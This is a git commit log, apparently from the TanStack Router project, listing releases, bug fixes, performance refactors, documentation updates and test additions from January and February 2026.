* add internal docs for code splitting

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-02-14 21:44:43 +01:00
Kyle Mathews
988a9d6788
test: add invariant and property tests for code-splitter shared bindings (#6662)
* test: add invariant, property, and exhaustive tests for code-splitter shared bindings

Add 76 new tests across three layers for the shared virtual module
code-splitting logic introduced in #6659:

Layer 1 - Algebraic property tests on helper functions:
- expandTransitively: idempotence, monotonicity, cycle handling
- buildDependencyGraph: subset invariants
- removeBindingsDependingOnRoute: direct/transitive removal
- expandDestructuredDeclarations: idempotence, sibling expansion
- collectLocalBindingsFromStatement: all declaration types

Layer 2 - Invariant tests on computeSharedBindings:
- Route is never in the shared set
- Results are always real local bindings (never imports)
- Destructured siblings cohesion
- Transitive dependency inclusion
- Route-dependent binding exclusion
- Determinism across repeated calls

Layer 3 - Small-scope exhaustive tests:
- Single binding × 3 declaration kinds × 4 property patterns × 2 groupings
- Two bindings × 4 cross-group reference patterns × 2 groupings
- Transitive dependency chains (linear, 3-deep, diamond)
- Meta-invariant conformance across all shared-* fixture files

Testing approach inspired by:
https://gist.github.com/KyleAMathews/64bcea53a57f600cc3b73bc366d9ac4d

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* ci: apply automated fixes

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-02-14 18:41:23 +01:00
Pavan Shinde
6ee158639e
docs(start): fix typos in React quick start (#6638) 2026-02-14 11:15:41 -06:00
Tanner Linsley
8360649b99 release: v1.159.13 2026-02-14 15:58:55 +00:00
Yuki Kakazu kekezun kkzn
426c2b54fe
fix: pass pathname to global request middleware in createStartHandler (#6648)
* fix: pass pathname to global request middleware in createStartHandler

The two `executeMiddleware` calls for global request middleware in
`createStartHandler` were missing the `pathname` property, causing it
to be `undefined` at runtime despite `RequestServerOptions` declaring
it as `pathname: string`.

- Add `pathname: url.pathname` to server function middleware execution
- Add `pathname: url.pathname` to page request middleware execution

The route-level middleware in `handleServerRoutes` already passes
`pathname` correctly.

Closes TanStack/router#6647

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* test: add regression test for pathname in global request middleware (#6647)

Add e2e tests to server-functions-global-middleware verifying that
pathname is correctly passed to global request middleware in
createStartHandler.

- Add pathnameMiddleware that captures pathname from server callback
- Add dedicated pathname-middleware route and test page
- Verify pathname value on both SSR and client-side navigation

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* refactor: remove unnecessary `as any` cast from pathname middleware test

The middleware type system correctly infers `requestMiddlewarePathname`
on the context, so the explicit cast is not needed.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* ci: apply automated fixes

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-02-14 16:45:18 +01:00
Tanner Linsley
ffec9c987d release: v1.159.12 2026-02-14 12:12:57 +00:00
Manuel Schiller
523972e0df
fix: shared virtual module for code-split routes (#6659)
* fix: shared virtual module for code-split routes

When a route file has module-level bindings (variables, functions, classes) referenced by **both** split and non-split route properties, the bindings are duplicated — initialized independently in the reference file and in each virtual split file. This breaks singletons, causes double side effects, and wastes bundle size.

```tsx
const collection = { name: 'todos', preload: async () => {} }
export const Route = createFileRoute('/todos')({
  loader: async () => {
    await collection.preload()
  }, // stays in reference
  component: () => <div>{collection.name}</div>, // split to virtual
})
```
In this example, `collection` is initialized in **both** the reference file (because `loader` references it) and the `?tsr-split=component` virtual file (because the component references it). Two separate instances exist at runtime.

To solve this issue, this PR introduces a third virtual module `route.tsx?tsr-shared=1` that contains shared bindings. Both the reference and virtual files import from it.

When `sharedBindings` is empty (the common case — component-only helpers, loader-only code), no shared module exists and the system works exactly as today.

The reference transform runs first and will emit a static import of `?tsr-shared=1` **only when needed**. Since split chunks are only discovered via the reference file's emitted `import('...?tsr-split=...')`, the bundler will always process/evaluate the reference module first. Result: the shared module is evaluated once and then reused by any later-loaded split chunk.
2026-02-14 13:10:54 +01:00
Tanner Linsley
1afa90e8c6 release: v1.159.11 2026-02-14 01:40:20 +00:00
Manuel Schiller
30dc11e50a
fix: autoCodeSplitting` with destructured export (#6656)
fixes #4787
2026-02-14 02:26:03 +01:00
Tanner Linsley
f3e3bd44e9 release: v1.159.10 2026-02-14 01:20:49 +00:00
nikuscs
fb139e8c70
fix: preserve data script content during client hydration (#6653)
* fix: preserve data script content during client hydration

The Script component renders all <script> tags with empty content on
the client side, then uses useEffect to recreate them via DOM
manipulation. While necessary for executable scripts (they need
document.createElement to trigger execution), this causes data-only
scripts like application/ld+json to briefly flash empty during
hydration.

Per the HTML spec, any script with a type that isn't a JavaScript MIME
type or "module" is a "data block" that the browser never executes.
These can safely render their content directly via innerHTML on both
server and client, just like <style> tags already do in the same file.

Changes across react-router, solid-router, and vue-router:
- Detect non-executable script types via the type attribute
- Early-return in the client-side effect for data scripts
- Render data script content directly instead of emptying it

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-02-14 02:08:07 +01:00
Manuel Schiller
f212098655
fix: lazy-compile server fn on dev restart to avoid invalid ID error (#6655)
fixes #6609
2026-02-14 01:59:24 +01:00
Tanner Linsley
1dde02476a release: v1.159.9 2026-02-14 00:47:20 +00:00
Manuel Schiller
2148b1bb4d
fix: resolve pending state when throwing notFound in beforeLoad (#6654)
fixes #6021
2026-02-14 01:44:53 +01:00
Tanner Linsley
ed8c679b92 release: v1.159.8 2026-02-13 23:21:57 +00:00
JongKyung Lee
d03f6d720e
fix: prevent prerender hang when filter returns zero results (#6619)
* fix(prerender): add check for settled queue to skip empty prerender filter

* test(prerender): add test for resolving when prerender filter matches no pages
2026-02-14 00:10:16 +01:00
Tanner Linsley
5529857b22 release: v1.159.7 2026-02-13 20:11:00 +00:00
Manuel Schiller
d931bcff15
fix: don't propagate directCall kind through var bindings (#6651) 2026-02-13 21:03:51 +01:00
Tanner Linsley
70effc8db4 release: v1.159.6 2026-02-13 18:36:21 +00:00
Manuel Schiller
85b34a799f
fix: don't cache server side route tree during dev (#6650)
fixes #6556
fixes #6559
fixes #6640
2026-02-13 19:34:06 +01:00
Yuki Terashima
a8c786cbe0
docs(start): Update TanStack Builder link in getting started guide (#6641)
Update TanStack Builder link in getting started guide
2026-02-13 19:22:50 +01:00
Birk Skyum
97658cde9a
test: vite ecosystem ci entry points (#6644) 2026-02-13 06:14:23 +01:00
Birk Skyum
174be108f2
chore: optimize links to github (#6633) 2026-02-10 23:42:52 +01:00
Tanner Linsley
4e1f40f2bc release: v1.159.5 2026-02-09 13:09:13 +00:00
Birk Skyum
641720f969
perf: revert to Response, and add docs regarding for FastResponse (#6618) 2026-02-09 14:06:44 +01:00
Tanner Linsley
260f97baea release: v1.159.4 2026-02-09 00:56:42 +00:00
Lee Jong Kyung
5c923e45c3
fix(router): ensure useParams returns parsed params when strict is false (#6387)
* fix: optimize match retrieval by using a Map for previous matches

* feat: add strict false parameter handling and related routes

* replace params only when routeParams is fully parsed

---------

Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
2026-02-09 02:44:30 +02:00
Tanner Linsley
be8849eee2 release: v1.159.3 2026-02-08 20:08:49 +00:00
Birk Skyum
7927dcd329
perf(start): use FastResponse from srvx (#6616) 2026-02-08 21:06:21 +01:00
Tanner Linsley
34aecb819b release: v1.159.2 2026-02-08 14:20:33 +00:00
huseeiin
a90d46418b
perf(solid-start): use srvx FastResponse (#6615)
* perf(solid-start): 51% improvement

* patch response

* install srvx

* import order

---------

Co-authored-by: Birk Skyum <birk.skyum@pm.me>
2026-02-08 15:09:08 +01:00
Birk Skyum
88161bd480
chore: update srvx to 0.11.2 and h3-v2 to rc.14 (#6608) 2026-02-07 03:28:50 +01:00
Tanner Linsley
1ca7b6df1b release: v1.159.1 2026-02-07 02:18:08 +00:00
Nico Lynzaad
972d347b8e
fix(solid-start): make Link active class reactive for include hash (#6607)
solid-start: make Link active class reactive for include hash
2026-02-07 04:06:41 +02:00
Tanner Linsley
7bf556a40c release: v1.159.0 2026-02-07 01:03:55 +00:00
Manuel Schiller
06f3aeca0f
feat: add transformAssetUrls (#6606)
* feat: add transformAssetUrls

* fix docs

* stringify safely

* fix test

* fix
2026-02-07 02:01:46 +01:00
Tanner Linsley
ee8fde15b0 release: v1.158.4 2026-02-07 00:02:41 +00:00
Nico Lynzaad
40ed6832c6
fix(start-server-core): redirect misinterpreted protocol-relative URLs (#6600)
* add test to verify redirect

* handle redirect

* update tests

* cleanup unused code in decodePath

* use 308 instead of 302

* redirect is not relevant in spa mode
2026-02-07 02:00:19 +02:00
Alexander Zuev
172fa05573
docs: add Cloudflare Workers handlers section to server entry point (#6488)
* docs: add Cloudflare Workers handlers section to server entry point

* docs: append link to official Cloudflare Workers docs

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* docs: reduce to link per reviewer feedback

---------

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2026-02-05 23:15:11 +01:00
Tanner Linsley
bb0137d280 release: v1.158.3 2026-02-05 21:50:29 +00:00
Manuel Schiller
b5b4079ded
fix: do not pass signal into server function (#5470)
* fix: do not pass signal into server function

* fix test

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-02-05 22:48:04 +01:00
Nick Nisi
6f64ae2ed0
examples: Update WorkOS example to use new AuthKit SDK (#5394)
* convert AuthKit example to use new SDK

* clean up and fixes

* remove vite dep in start-server-core

* fix(examples): remove unnecessary dotenv import from WorkOS example

Vite automatically loads .env files, so the manual dotenv.config() call is unnecessary and causes a build failure since dotenv is not installed as a dependency.

* fix lint issue

* fix(examples): fix WorkOS AuthKit sign-in and sign-out

- Add parentheses to handleCallbackRoute() in callback route
- Add reloadDocument to logout Links to prevent CORS errors
- Upgrade SDK to v0.5.0 and remove unused dependencies

The sign-out was failing with CORS errors because client-side
navigation via server functions caused fetch to follow the external
redirect to WorkOS. Using reloadDocument forces a full page navigation,
allowing the server to return a proper HTTP redirect.

* fix(examples): use re-exported User type from authkit package

Import User from @workos/authkit-tanstack-react-start instead of
@workos-inc/node to fix tsc --noEmit failure in CI. The authkit
package already re-exports this type to avoid server-only deps
in client code.

* fix(examples): restore authkit-tanstack-react-start dependency

Replace @workos-inc/node with @workos/authkit-tanstack-react-start
in the WorkOS example. The code imports from the authkit package,
not the low-level node SDK.

---------

Co-authored-by: Tanner Linsley <tannerlinsley@gmail.com>
2026-02-05 22:27:37 +01:00
Tanner Linsley
54c4f68ade release: v1.158.2 2026-02-05 21:06:41 +00:00
Manuel Schiller
f5bf1cdb32
fix: resolve env-only functions through module re-export chains (#6599)
fixes #6583
2026-02-05 21:59:39 +01:00
Tanner Linsley
119eb54f10 release: v1.158.1 2026-02-05 01:50:59 +00:00
Lee
28b0e8b244
fix(router-core): fix handle AbortError logic when rapid navigation (#6426)
* fix(router-core): fix handle AbortError logic

Signed-off-by: leesb971204 <leesb971204@gmail.com>

* ci: apply automated fixes

* test: update expected store update count for preloaded async loaders

Signed-off-by: leesb971204 <leesb971204@gmail.com>

* refractor changes

* update tests to handle wait times more appropriately

* tighten up test - coderabbit nitpick

---------

Signed-off-by: leesb971204 <leesb971204@gmail.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
2026-02-05 03:38:09 +02:00
Shane
f7eaede2d1
docs: Add missing createMiddleware imports in documentation examples (#6500) 2026-02-03 21:12:15 -06:00
Alex Marinov
03c1165ac3
docs: update import statements for TanStack Router Vite plugin (#6575) 2026-02-03 21:09:58 -06:00
Pavan Shinde
5e30ea1f30
docs(start): fix typos in Solid quick start (#6571)
Co-authored-by: pavan-sh <pavan-sh@users.noreply.github.com>
2026-02-03 21:07:50 -06:00
Pavan Shinde
6049fd3c9b
docs(start): fix ISR guide link to data loading (#6585) 2026-02-03 21:03:52 -06:00
Tanner Linsley
8f59003275 release: v1.158.0 2026-02-03 00:17:18 +00:00
Manuel Schiller
a894baa7bd
feat: pass routeId into context/beforeLoad (#6579)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-02-03 00:59:12 +01:00
Manuel Schiller
ebd96af435
fix: avoid destructuring internal server property in interpolatePath (#6580) 2026-02-03 00:53:03 +01:00
Manuel Schiller
77b18bbdae
fix: strip type exports upon DCE (#6582) 2026-02-03 00:48:33 +01:00
Tanner Linsley
916be3d635 release: v1.157.19 2026-02-02 23:29:58 +00:00
Manuel Schiller
041e984871
fix: correctly search for parent route in generator (#6581) 2026-02-03 00:27:52 +01:00
Xun Qilong
46fc1e9130
docs: rename route property to routeId in NotFoundErrorType.md (#6544)
docs: fix typo in NotFoundErrorType.md

rename 'route' property to 'routeId'

Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
2026-02-01 15:45:59 +02:00
Pavan Shinde
ec4a6fa88c
docs: fix duplicated word in document head management guide (#6565) 2026-02-01 12:28:00 +02:00
Tanner Linsley
fd6eecea6b release: v1.157.18 2026-01-31 15:42:17 +00:00
Flo
1ce1919c4b
refactor(router-core): matchRoutesInternal minor performance improvements (#6560) 2026-01-31 16:39:50 +01:00
Tanner Linsley
497229aa5b release: v1.157.17 2026-01-30 22:27:03 +00:00
hokkyss
0f41a3c647
fix: re-export SerializableExtensions in react-router (#6536)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-30 23:13:04 +01:00
Alexander Schmid
5ae6217746
docs: Updated typo in internationalization-i18n.md (#6523)
* Updated typo in internationalization-i18n.md 

Optional path parameters typescript example had a typo (/abotu not /about).

* ci: apply automated fixes

* Fix typo in internationalization guide

reapply change that was undone by ci: apply automated fixes

---------

Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-27 00:19:24 +02:00
Tanner Linsley
b3aafa09d7 release: v1.157.16 2026-01-26 22:06:20 +00:00
Jason Xie
4814d4ef90
fix(router-core): use encodeURIComponent for splat route params (#6520)
* fix(router-core): use encodeURIComponent for splat route params

Use encodeURIComponent instead of encodeURI for splat route parameters
to properly encode spaces, plus signs, and other special characters.

This fixes an SSR redirect loop that occurs when:
1. User navigates to a splat route with encoded characters (e.g., %20)
2. TanStack Router decodes params with decodeURIComponent
3. When rebuilding URL, encodeURI doesn't encode spaces/special chars
4. URL mismatch triggers redirect loop (307 redirects)

encodeURIComponent properly encodes these characters, preventing the
mismatch while still preserving forward slashes as path separators.

* update tests to use correct encoding for splat params

* use encodePathParam for splat/catch-all

* perf(router-core): add early return for URL-safe splat values

Add performance optimization that skips the split/map/join operation
when splat values only contain URL-safe characters (alphanumeric,
dash, period, underscore, tilde, exclamation, forward slash).

This avoids unnecessary processing in the hot path for common cases.

* fix(router-core): encode whitespace in encodeNonAscii

Update encodeNonAscii to also encode whitespace characters (spaces, tabs, etc.)
in addition to non-ASCII characters. This fixes SSR redirect loops where:

1. Request URL contains encoded spaces: /path/file%20name.pdf
2. parseLocation decodes pathname: /path/file name.pdf
3. buildLocation calls encodeNonAscii but spaces weren't encoded
4. URL mismatch triggers redirect loop

Now encodeNonAscii properly encodes:
- Whitespace characters (spaces become %20)
- Non-ASCII/unicode characters (including emojis)

Other ASCII special characters (parentheses, brackets, etc.) are preserved
as they are valid in URL paths.

* refactor(router-core): use regex in encodeNonAscii like original

* refactor(router-core): rename encodeNonAscii to encodePathLikeUrl

Rename the function to better reflect its expanded responsibility of
encoding paths the same way new URL() would, including:
- Whitespace characters (spaces → %20, tabs → %09)
- Non-ASCII/Unicode characters (emojis, accented characters)

The old name 'encodeNonAscii' was misleading since the function now
encodes more than just non-ASCII characters.

---------

Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
2026-01-26 23:53:20 +02:00
Tanner Linsley
080f818fda release: v1.157.15 2026-01-26 06:51:04 +00:00
Flo
46630344d7
refactor(router-core): parseLocation fast path w/ no rewrites (#6516) 2026-01-26 07:36:11 +01:00
Flo
846fffc2cf
refactor(react-router): Match component performance w/ single router state select (#6518) 2026-01-26 07:35:26 +01:00
Tanner Linsley
58ed15460f release: v1.157.14 2026-01-25 22:05:45 +00:00
Flo
02019f1164
refactor(router-core): executeBeforeLoad remove dead code (#6517) 2026-01-25 23:03:20 +01:00
Tanner Linsley
c16571a660 release: v1.157.13 2026-01-25 21:22:25 +00:00
Flo
e2558a3007
refactor(router-core): startViewTransition performance improved by avoiding 'delete' (#6515) 2026-01-25 22:09:05 +01:00
Tanner Linsley
4748c0e12a release: v1.157.12 2026-01-25 20:50:33 +00:00
Flo
283598e311
refactor(router-core): mergeHeaders performance (#6514) 2026-01-25 21:48:11 +01:00
Tanner Linsley
1faa9f3d96 release: v1.157.11 2026-01-25 19:06:50 +00:00
Flo
54649f9d3e
refactor(router-core): throw redirect w/ a pre-build location doesn't need to re-parse from string (#6512) 2026-01-25 19:53:22 +01:00
Flo
3b61ca2090
test(react-start): new profiling scenario for search/loader/redirect (#6511) 2026-01-25 19:17:13 +01:00
Tanner Linsley
80bb8dd706 release: v1.157.10 2026-01-25 18:10:48 +00:00
Flo
fc38d91997
refactor(router-core): remove dead code in buildLocation left over from reverting match snapshots (#6510) 2026-01-25 19:08:25 +01:00
Flo
e59c80070f
test(router-core): buildLocation unit tests (#6507) 2026-01-25 17:54:04 +01:00
Tanner Linsley
1bfa199175 release: v1.157.9 2026-01-25 15:12:26 +00:00
Flo
ab92e1c290
refactor(router-core): buildLocation can skip second interpolatePath if no params.parse function in the branch (#6506) 2026-01-25 16:10:00 +01:00
Tanner Linsley
1287aa5367 release: v1.157.8 2026-01-25 13:50:18 +00:00
Flo
b90726dcc8
refactor(router-core): server-only fast path optimization for interpolatePath (#6505) 2026-01-25 14:48:02 +01:00
Tanner Linsley
78943ba9c6 release: v1.157.7 2026-01-25 11:06:28 +00:00
Flo
036b3b1d70
refactor(router-core): decodePath fast path when no encoded chars (#6504) 2026-01-25 12:04:06 +01:00
Tanner Linsley
8727eb504b release: v1.157.6 2026-01-25 09:21:31 +00:00
Flo
84553e9298
refactor(router-core): improve server store performance by removing getter/setter (#6502) 2026-01-25 10:19:05 +01:00
Flo
db94c3147e
test(react-start): add new flame+autocannon benchmark for nested routes + useParams (#6501) 2026-01-25 09:54:09 +01:00
Manuel Schiller
8f525a80a6
performance: no reactivity on the server (#6497)
* performance: don't use `replaceEqualDeep` on the server

* performance: do not subscribe to store on the server

* lint

* simple store on the server

* vue + solid
2026-01-25 02:34:39 +01:00
Tanner Linsley
5b03a4063f release: v1.157.5 2026-01-24 22:35:27 +00:00
Manuel Schiller
ba47d4db6e
refactor: streaming perf (#6496) 2026-01-24 23:33:20 +01:00
Tanner Linsley
f9b53eb3fb release: v1.157.4 2026-01-24 20:46:03 +00:00
Manuel Schiller
44fbe0a46e
fix: streaming race condition (#6495) 2026-01-24 21:43:50 +01:00
Tanner Linsley
795ee1b2ac release: v1.157.3 2026-01-24 16:57:36 +00:00
Manuel Schiller
0fc75f29e4
fix: re-export correctly (#6489)
* fix: re-export correctly

* fix

* fix

* lint
2026-01-24 17:55:28 +01:00
boda
3aa27d59a8
docs(router): URL encoding note on <Link/> and how to opt out (#6443)
* docs(router): Add URL encoding note on <Link/> and opt out with pathParamsAllowedCharacters

* Update docs/router/framework/react/api/router/linkComponent.md

Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>

* rabbit suggestion

* convert to link

* ci: apply automated fixes

---------

Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-24 15:00:59 +02:00
Tanner Linsley
4b271eba06 release: v1.157.2 2026-01-24 12:52:02 +00:00
Manuel Schiller
cc01174e78
refactor: react link ssr perf (#6482)
* ```
[1] 52k requests in 30.01s, 652 MB read
[1]
[1] === SSR Benchmark Results ===
[1] Total requests: 48512
[1] Requests/sec: 1617.07
[1] Latency (avg): 3.85ms
[1] Latency (p99): 12ms
[1] Throughput: 20.72 MB/s
```

* ```
[1] 53k requests in 30.01s, 672 MB read
[1]
[1] === SSR Benchmark Results ===
[1] Total requests: 50006
[1] Requests/sec: 1666.87
[1] Latency (avg): 3.67ms
[1] Latency (p99): 11ms
[1] Throughput: 21.36 MB/s
```

* fix merge conflicts

* rules of hooks

* ci: apply automated fixes

* unify "safe internal" behavior between server and client

* fix possible hydration mismatch

* better fix for active hash hydration mismatch

---------

Co-authored-by: Sheraff <fpellet@ensc.fr>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-24 13:37:18 +01:00
Tanner Linsley
72fc45e0b5 release: v1.157.1 2026-01-24 12:10:56 +00:00
Manuel Schiller
3e48ef7fc9
chore: stabilize tests (#6486) 2026-01-24 13:08:29 +01:00
Manuel Schiller
b953e000fb
refactor: no additional package for isServer (#6485)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-24 12:54:18 +01:00
Flo
cfbbcd556c
refactor(router-core): skip URL constructor in buildLocation (#6447) 2026-01-24 11:42:55 +01:00
Tanner Linsley
16263c4a04 release: v1.157.0 2026-01-24 10:31:03 +00:00
Manuel Schiller
e79ad7e052
feat: add isServer (#4648)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-24 11:28:54 +01:00
Philippe Serhal
6ff1190bdc
chore: add source() to Tailwind v4 imports to ensure consistent hashing (#6459)
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-24 01:49:12 +01:00
Tanner Linsley
4a47c9f36d release: v1.156.0 2026-01-23 23:50:00 +00:00
Manuel Schiller
ad084d4ecf
feat: cache routeTree on the server in-between requests (#6475)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-24 00:37:19 +01:00
Flo
e190d8dbb9
test(react-start): more reliable autocannon config (#6476) 2026-01-24 00:36:42 +01:00
Flo
f26cf54a9b
refactor(router-core): buildLocation performance by simplifying 'from' location parsing (#6464)
* refactor(router-core): buildLocation performance by simplifying 'from' location parsing

* share param parsing code

* cleanup

* swallow errors

* do not reuse cached search

* validate search instead of middlewares in matchRoutesLightweight

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-24 00:28:44 +01:00
Tanner Linsley
841b5980e4 Merge branch 'main' of https://github.com/tanstack/router 2026-01-23 16:17:09 -07:00
Tanner Linsley
f5007fa161 docs: updates 2026-01-23 16:17:07 -07:00
Tanner Linsley
e5c8ab0cac release: v1.155.0 2026-01-23 22:41:24 +00:00
Flo
5de0f91050
refactor(router-core): improve interpolatePath performance by pre-compiling a single regex decoder (#6471) 2026-01-23 23:29:08 +01:00
Flo
12a7288536
refactor(router-core): improve parseSegment performance, parse without regex (#6470)
* refactor(router-core): improve parseSegment performance, parse without regex

* woops forgot this during cleanup
2026-01-23 23:28:26 +01:00
Flo
6c1e215ea3
feat(router-generator): param name syntax check and warn (#6472)
* feat(router-generator): param name syntax check and warn

* ci: apply automated fixes

* better tests

* ci: apply automated fixes

* cleanup vi spy

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-23 23:27:50 +01:00
Flo
e5f59f4cfc
feat(eslint-plugin-router): route param name rule (#6473)
* feat(eslint-plugin-router): route param name rule

* ci: apply automated fixes

* remove support for magic pathless file routes

* ci: apply automated fixes

* coderabbit said so

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-23 23:17:20 +01:00
Tanner Linsley
20d830eac8 release: v1.154.14 2026-01-23 15:52:37 +00:00
Flo
f054c0c921
fix: revert "refactor: don't reparse upon navigation (#6398)" (#6468)
Revert "refactor: don't reparse upon navigation (#6398)"

This reverts commit 6cbd96e357.
2026-01-23 16:50:10 +01:00
Flo
a3c4854c4c
test(react-start): flame perf setup uses pure nitro, no express layer (#6463) 2026-01-23 12:08:49 +01:00
Tanner Linsley
bdae047acb release: v1.154.13 2026-01-23 11:04:06 +00:00
Flo
21ab49c799
refactor(router-core): search middleware performance (#6462) 2026-01-23 12:01:39 +01:00
Tanner Linsley
9f5cb846da release: v1.154.12 2026-01-22 22:38:27 +00:00
Flo
655496fc20
refactor(router-core): skip full matchRoutesInternal for Link's buildLocation, use simple getMatchedRoutes (#6445) 2026-01-22 23:24:56 +01:00
Tanner Linsley
7699e22534 release: v1.154.11 2026-01-22 22:20:48 +00:00
Manuel Schiller
70c81b3920
fix(router-generator): respect explicit virtual route siblings (#6458) 2026-01-22 23:18:13 +01:00
Flo
d0b472e469
test(react-start): benchmarking setup w/ platformatic/flame and autocannon (#6457) 2026-01-22 21:55:39 +01:00
Tanner Linsley
55706bd3e1 release: v1.154.10 2026-01-22 20:25:27 +00:00
Flo
5d600702fd
refactor(react-router): Link component self time improvements by removing 'delete' (#6456) 2026-01-22 21:21:31 +01:00
Tanner Linsley
9cda818f0e release: v1.154.9 2026-01-22 17:22:15 +00:00
Flo
ef3486cd63
fix(solid-router): skip URL parsing for safe 'to' props (#6453) 2026-01-22 18:04:07 +01:00
Tanner Linsley
57e2508ae2 release: v1.154.8 2026-01-22 14:49:21 +00:00
Flo
850b963507
refactor(router-core): getEnumerableOwnKeys fast path for 'no symbol key' common case, 6-11% faster replaceEqualDeep (#6448) 2026-01-22 15:47:01 +01:00
Flo
b65984ec3e
test(react-router): fix store-updates flakiness (#6454) 2026-01-22 14:57:11 +01:00
Tanner Linsley
0592d49f33 release: v1.154.7 2026-01-22 02:41:27 +00:00
Birk Skyum
19a92c5d87
update h3 nitro srvx seroval (#6449) 2026-01-22 02:14:13 +01:00
Tanner Linsley
efc425f949 release: v1.154.6 2026-01-21 22:57:52 +00:00
Nico Lynzaad
60a30fc59a
fix(react-start): Apply Link active properties correctly on SSR when including hash (#6421)
* react: fix link active hash reactivity on SSR

* update and align tests

* remove unnecessary change

* better address react re-renders and update tests

* add tests for vue

* react: add comment on reason for useSyncExternalStore usage

* solid: revert prior fix and update tests

* react: revert unnecessary change

* react: use useHydrated

* react: cleanup
2026-01-22 00:55:28 +02:00
Tanner Linsley
e9c7518e68 release: v1.154.5 2026-01-21 19:39:00 +00:00
Flo
068f0d17e8
fix(router-core): skip URL parsing for safe 'to' props (#6442) 2026-01-21 20:26:26 +01:00
Tanner Linsley
9939b0297a release: v1.154.4 2026-01-21 19:14:27 +00:00
Manuel Schiller
97a1cc7590
fix: handle literal paths upon navigation (#6440)
fixes #6435
2026-01-21 20:02:05 +01:00
Tanner Linsley
49fd3f7ce6 release: v1.154.3 2026-01-21 18:53:53 +00:00
Flo
0b2fcefdce
fix(router-core): pathless nodes do not consume path segments during param extraction (#6437)
* fix(router-core): pathless nodes do not consume path segments during param extraction

* woops, didnt mean to commit this

* better tests, and better solution

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-21 19:51:24 +01:00
Tanner Linsley
79882abf30 release: v1.154.2 2026-01-21 17:10:49 +00:00
Flo
8dd35b16e4
fix(router-core): skipOnParamError on index route should still allow mathing other node types beyond it on error (#6436) 2026-01-21 18:08:42 +01:00
Tanner Linsley
b3b9d15fa5 release: v1.154.1 2026-01-21 11:29:06 +00:00
Flo
9c934b7891
fix(router-core): correct splat param extraction after a skipped optional param (#6434) 2026-01-21 12:27:02 +01:00
Tanner Linsley
621a79c894 docs: url rewrites 2026-01-20 15:12:19 -07:00
Manuel Schiller
aced5f6121 docs: remove outdated 2026-01-20 01:38:44 +01:00
Tanner Linsley
d75317efa1 release: v1.154.0 2026-01-20 00:12:35 +00:00
Manuel Schiller
d4bbfa95d5
feat: static replacement of process.env.NODE_ENV during build (#6422) 2026-01-20 01:05:35 +01:00
Tanner Linsley
11b0fc9718 release: v1.153.2 2026-01-19 22:13:08 +00:00
Manuel Schiller
6cbd96e357
refactor: don't reparse upon navigation (#6398) 2026-01-19 23:00:21 +01:00
Kræn Hansen
46ff9fa7de
docs: Update useLoaderData signature in fetching-external-api tutorial (#6419) 2026-01-19 21:35:34 +01:00
Tanner Linsley
6b4eca5f7c release: v1.153.1 2026-01-19 14:42:33 +00:00
Nico Lynzaad
3da0227067
fix: encoded url hash fragment matching (#6416)
* decode hash

* ci: apply automated fixes

* cleanup

* revert change to basic-rsc

* add note in docs about hash fragment

* ci: apply automated fixes

* code rabbit suggestion

Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
2026-01-19 16:39:48 +02:00
Tanner Linsley
a857c3bd22 release: v1.153.0 2026-01-19 00:38:30 +00:00
Manuel Schiller
1d99170163
